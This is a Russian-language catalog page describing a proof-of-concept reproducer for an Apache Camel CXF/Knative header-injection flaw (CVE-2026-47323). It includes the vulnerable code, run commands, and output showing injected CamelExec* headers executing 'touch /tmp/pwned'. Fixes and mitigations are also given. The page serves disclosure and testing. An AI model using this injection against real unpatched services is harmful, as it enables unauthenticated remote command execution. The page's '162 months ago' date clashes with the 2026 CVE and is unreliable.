Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-47323 — Репродуктор для CVE-2026-47323: в Apache Camel (CXF/Knative) в HeaderFilterStrategy отсутствует фильтрация входящих заголовков, что позволяет осуществить инъекцию управляющих заголовков Camel (RCE через camel-exec) через конечные точки CXF-RS/CXF-SOAP/Knative (исправлено в 4.14.6/4.18.2/4.19.0) | Kitploit
Инструменты/GitHubGitHub/oscerd/cve-2026-47323
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed Teaming
GitHuboscerd/cve-2026-47323

CVE-2026-47323

Репозиторий
162 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

Репродуктор для CVE-2026-47323: в Apache Camel (CXF/Knative) в HeaderFilterStrategy отсутствует фильтрация входящих заголовков, что позволяет осуществить инъекцию управляющих заголовков Camel (RCE через camel-exec) через конечные точки CXF-RS/CXF-SOAP/Knative (исправлено в 4.14.6/4.18.2/4.19.0)

Поделиться

camel-cxf-rest / camel-cxf / camel-knative-http: репродуктор инъекции заголовков (CVE-2026-47323)

Этот проект демонстрирует инъекцию заголовков сообщений в стратегиях фильтрации HTTP-заголовков CXF и Knative в Apache Camel, известную как CVE-2026-47323. CxfRsHeaderFilterStrategy (camel-cxf-rest), CxfHeaderFilterStrategy (camel-cxf-transport) и KnativeHttpHeaderFilterStrategy (camel-knative-http) фильтруют только исходящие внутренние заголовки Camel (setOutFilterStartsWith), не настраивая входящую фильтрацию (setInFilterStartsWith). В результате неаутентифицированный злоумышленник может внедрить внутренние заголовки Camel (например, CamelExecCommandExecutable, CamelFileName) через HTTP-запросы к конечным точкам CXF-RS или CXF-SOAP. Когда маршрут пересылает сообщения от этих конечных точек к компонентам, управляемым заголовками, таким как camel-exec или camel-file, внедрённые заголовки переопределяют сконфигурированные значения — что обеспечивает удалённое выполнение кода или произвольную запись файлов.

В этом PoC используется поверхность CXF-RS (JAX-RS): внедрённый CamelExecCommandExecutable превращает безобидный echo в произвольное выполнение команд.

Уведомление о безопасности: https://camel.apache.org/security/CVE-2026-47323.html

Сводка по уязвимости

СвойствоЗначение
Компонентcamel-cxf-rest (CxfRsHeaderFilterStrategy), camel-cxf-transport (CxfHeaderFilterStrategy), camel-knative-http (KnativeHttpHeaderFilterStrategy)
CWECWE-20: Некорректная проверка входных данных
ВоздействиеВнедрение управляющих заголовков Camel через HTTP-запрос → переопределение нижестоящего управляемого заголовками производителя → RCE (camel-exec) или произвольная запись файлов (camel-file)
Предварительные условияКонечная точка CXF-RS / CXF-SOAP / Knative, пересылающая сообщения управляемому заголовками производителю; неаутентифицированный, когда конечная точка
Затронутые версииС 3.18.0 до 4.14.6, с 4.15.0 до 4.18.2, 4.19.0 (исправлено в 4.19.0)
Исправленные версии4.14.6, 4.18.2, 4.19.0
АвторQuac Tran

Этот репродуктор фиксирует camel 4.18.1 — последний затронутый релиз в ветке 4.18.x (исправление вышло в 4.18.2). Тот же паттерн, что и в camel-undertow (CVE-2025-30177), более широком фильтре входящих заголовков (CVE-2025-27636, CVE-2025-29891) и не-HTTP стратегиях (CVE-2026-40453).

Технические детали

// CxfRsHeaderFilterStrategy.initialize() (affected 4.18.1) — only the OUTBOUND filter is configured:
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
// (no setInFilterStartsWith(...), so inbound Camel* headers are NOT filtered)

// DefaultCxfRsBinding.populateExchangeFromCxfRsRequest() — inbound HTTP headers copied through the strategy:
for (Map.Entry<String, List<String>> entry : headers.entrySet()) {
    if (headerFilterStrategy.applyFilterToExternalHeaders(entry.getKey(), entry.getValue(), camelExchange)
            || entry.getValue().isEmpty()) {
        // dropped — but with no inbound filter, CamelExecCommandExecutable is NOT dropped
    } else {
        camelMessage.setHeader(entry.getKey(), entry.getValue().get(0));   // <-- injected header lands here
    }
}

Исправление (4.14.6 / 4.18.2 / 4.19.0) добавляет setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH) в эти стратегии, поэтому входящие заголовки Camel* / camel* отбрасываются.

Уязвимый маршрут

from("cxfrs://http://0.0.0.0:9000/service?resourceClasses=com.example.ApiResource")
    .to("exec:echo?args=hello")          // the author's fixed, harmless command
    .setBody(constant("ok\n"));

Конечная точка JAX-RS (GET /service/api/ping), запросы к которой передаются фиксированной shell-команде. Производитель camel-exec отдаёт предпочтение входящему заголовку CamelExecCommandExecutable перед сконфигурированным echo.

Структура репозитория

Всё работает в одном автономном приложении: конечная точка CXF-RS, приёмник camel-exec и драйвер атаки.

CVE-2026-47323/
├── pom.xml                 # camel-cxf-rest + camel-exec 4.18.1 (+ CXF undertow transport)
├── Dockerfile
├── docker-compose.yml      # single self-contained service
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── ApiResource.java        # JAX-RS contract: GET /api/ping
    │   ├── VictimRoute.java        # cxfrs consumer -> exec:echo
    │   └── ExploitController.java  # attacker: GET /ping with injected CamelExec* headers
    └── resources/
        └── application.properties

Предварительные требования

  • Java 17+ и Maven 3.8+
  • Docker (необязательно, для запуска в контейнере)

Шаги воспроизведения

Вариант A — Docker (рекомендуется)

mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker exec cve-2026-47323 ls -l /tmp/pwned      # created by the injected command
docker compose down

Вариант B — запуск jar напрямую

mvn clean package -DskipTests
java -jar target/cve-2026-47323-cxfrs-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
ls -l /tmp/pwned

Ожидаемый результат

marker before: false

=== 1) Legitimate request (no injected headers) ===
  response: ok
  marker created: false

=== 2) Injected CamelExecCommandExecutable=/usr/bin/touch CamelExecCommandArgs=/tmp/pwned ===
  response: ok
  marker created: true

>>> Header-injection / RCE proof — an unauthenticated HTTP client made the route run an
>>> arbitrary command by injecting CamelExec* headers into a CXF-RS request (touch /tmp/pwned): true

Векторы атаки

Любой маршрут, который пересылает сообщения от конечной точки CXF-RS, CXF-SOAP или Knative-HTTP управляемому заголовками производителю. Помимо CamelExecCommandExecutable (RCE через camel-exec), CamelFileName позволяет произвольно записывать файлы через camel-file, а другие управляющие заголовки Camel* могут управлять другими производителями.

Рекомендуемое исправление

Обновитесь до 4.14.6 / 4.18.2 / 4.19.0. Затронутые стратегии после этого настраивают setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH), отбрасывая входящие заголовки Camel*.

Смягчение последствий

До обновления удаляйте управляющие заголовки Camel из входящих сообщений перед любым нижестоящим производителем (.removeHeaders("Camel*") и .removeHeaders("camel*") в начале маршрута) и требуйте аутентификацию на конечной точке CXF / Knative.

Отказ от ответственности

Этот репродуктор предоставляется только для исследований в области безопасности и авторизованного тестирования, для публично раскрытой и исправленной уязвимости. Не используйте его против систем без явного разрешения.

Скачать инструмент